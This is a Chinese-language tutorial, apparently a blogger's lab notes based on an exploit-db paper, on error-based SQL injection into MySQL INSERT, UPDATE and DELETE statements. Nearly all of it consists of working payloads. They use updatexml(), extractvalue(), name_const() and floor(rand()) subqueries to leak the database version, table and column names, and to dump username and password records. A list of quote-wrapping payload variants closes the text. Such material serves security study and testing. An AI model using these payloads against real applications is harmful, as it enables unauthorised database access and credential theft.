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回归正题：updatexml注入
首先了解一下什么是updatexml函数。
前言：相比基于查询的SQL注入，使用insert、update和delete进行SQL注入显得略显另类
参考自：http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf
0x1 准备条件
a. mysql数据库
b. 创建用于实验的数据库和表
Create database newdb; use newdb CREATE TABLE users ( id int(3) NOT NULL AUTO_INCREMENT, username varchar(20) NOT NULL, password varchar(20) NOT NULL, PRIMARY KEY (id) );
c. 添加部分数据 ： INSERT INTO users (id, username, password) VALUES (1, ‘r00tgrok‘, ‘ohmygod_is_r00tgrok‘);
0x2 使用updatexml()函数 // xpath injection
1. 注入
a. 载荷格式 ：or updatexml(1,concat(0x7e,(version())),0) or
b. insert注入：INSERT INTO users (id, username, password) VALUES (2,‘Pseudo_Z‘ or updatexml(1,concat(0x7e,(version())),0) or‘‘, ‘security-eng‘);
c. update注入：UPDATE users SET password=‘security-eng‘ or updatexml(2,concat(0x7e,(version())),0) or‘‘ WHERE id=2 and username=‘Pseudo_Z‘;
d. delete注入：DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or‘‘;
2. 提取数据
a. 载荷格式：
or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or
b. insert提取表名：
INSERT INTO users (id, username, password) VALUES (2,‘r00tgrok‘ or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or ‘‘, ‘ohmygod_is_r00tgrok‘);
c. insert提取列名
INSERT INTO users (id, username, password) VALUES (2,‘r00tgrok‘ or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name=‘users‘ limit 0,1)),0) or ‘‘, ‘ohmygod_is_r00tgrok‘);
d. insert进行dump
INSERT INTO users (id, username, password) VALUES (2,‘r00tgrok‘ or updatexml(0,concat(0x7e,(SELECT concat_ws(‘:‘,id, username, password) FROM users limit 0,1)),0) or ‘‘, ‘ohmygod_is_r00tgrok‘);
e. delete进行dump
DELETE FROM users WHERE id=1 or updatexml(0,concat(0x7e,(SELECT concat_ws(‘:‘,id, username, password) FROM users limit 0,1)),0) or ‘‘;
f.update进行dump ?
同一个表不能用update进行dump，不同的表却可以
UPDATE students SET name=‘Nicky‘ or Updatexml(1,concat(0x7e,(SELECT concat_ws(‘:‘,id, username, password) FROM newdb.users limit 0,1)),0) or‘‘ WHERE id=1;
3.小贴士
a.报错，然后爆出了要提取的信息
b. 按照作者paper上的代码，mysql5.6.19, 前面提取信息成功，后面dump报错：[Err] 1093 - You can‘t specify target table ‘users‘ for update in FROM clause
c. google之，给出找到的两个参考：
//报错代码 DELETE FROM table_name where coulmn_name IN (SELECT coulmn_name FROM table_name WHERE coulmn_name > 10);
//修正代码 DELETE FROM table_name where coulmn_name IN ( SELECT * FROM (SELECT coulmn_name FROM table_name WHERE coulmn_name > 10) AS X) ;
//说明 不能删除子查询指向的相同数据源中的行，update同理
CREATE TABLE comments(id int primary key, phrase text, uid int); INSERT INTO comments VALUES(1, ‘admin user comments‘,1),
(2, ‘HR User Comments‘,2),
(3, ‘RH User Comments‘,2); UPDATE comments SET phrase = (SELECT phrase FROM comments WHERE uid=2 AND id=2) WHERE id = 3;
修复代码：
UPDATE comments SET phrase =( SELECT phrase FROM ( SELECT * FROM comments
) AS c1 WHERE c1.uid=2 AND c1.id=2 ) WHERE id =3;
说明：当你同时使用子查询读取相同的数据时，mysql不允许update、delete表中的数据；mysql会将from语句中的子查询作为一个临时表，将子查询封装到from语句中更深 层的子查询中会使其被执行并存储的临时表中，然后在外部子查询中隐式引用
4. updatexml()[ 返回被替换的XML段], updatexml()是mysql中的XML函数，还有一个为extractvalue() [使用Xpath符号从xml字符串中提取值]，也是下文要用到的
eg. SET @xml = ‘<a><b>X</b><b>Y</b></a>‘;
SET @i =1, @j = 2;
SELECT @i, ExtractValue(@xml, ‘//b[[email protected]]‘);
//ExtractValue(xml_frag, xpath_expr) //UpdateXML(xml_target, xpath_expr, new_xml)
Xpath有较多限制，如不支持节点集的比较，不支持string()等函数，另外Xpath注入类似于SQL注入，语法上略有不同
0x3 使用extractvalue()函数
a. 载荷格式：or extractvalue(1,concat(0x7e,database())) or
b. 注入：
INSERT INTO users (id, username, password) VALUES (2,‘r00tgrok‘ or extractvalue(1,concat(0x7e,database())) or‘‘, ‘Pseudo_Z‘);
UPDATE users SET password=‘Nicky‘ or extractvalue(1,concat(0x7e,database())) or‘‘ WHERE id=2 and username=‘Pseudo_Z‘;
DELETE FROM users WHERE id=1 or extractvalue(1,concat(0x7e,database())) or‘‘;
c.提取数据
INSERT INTO users (id, username, password) VALUES (2,‘r00tgrok‘ or extractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1))) or‘‘, ‘balabala‘);
dump操作及update、delete方法同上updatexml()
0x4 使用name_const() //5.0.13中引入，返回任何给定的值
a. 载荷格式： or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or
b. 注入：
UPDATE users SET password=‘Nicky‘ or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or ‘‘ WHERE
id=2 and username=‘Pseudo_Z‘;
c. 提取数据
INSERT INTO users (id, username, password) VALUES (1,‘admin‘ or (SELECT*FROM(SELECT name_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))a) or ‘‘, ‘oyyoug0d‘);
0x5 二次查询注入 //mysql没有二次查询，因此使用子查询
1. 注入
INSERT INTO users (id, username, password) VALUES (1,‘r00tgrok‘ or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM
information_schema.columns group by x)a) or‘‘, ‘Bl4ckhat‘);
DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or‘‘ ;
2. 提取数据
INSERT INTO users (id, username, password) VALUES (1, ‘Pseudo_Z‘ or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT
concat(0x7e,0x27,cast(users.username as char),0x27,0x7e) FROM `newdb`.users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or ‘‘, ‘jesus-2014‘);
0x6 其他变种
‘ or (payload) or ‘
‘ and (payload) and ‘
‘ or (payload) and ‘
‘ or (payload) and ‘=‘
‘* (payload) *‘
‘ or (payload) and ‘
" – (payload) – "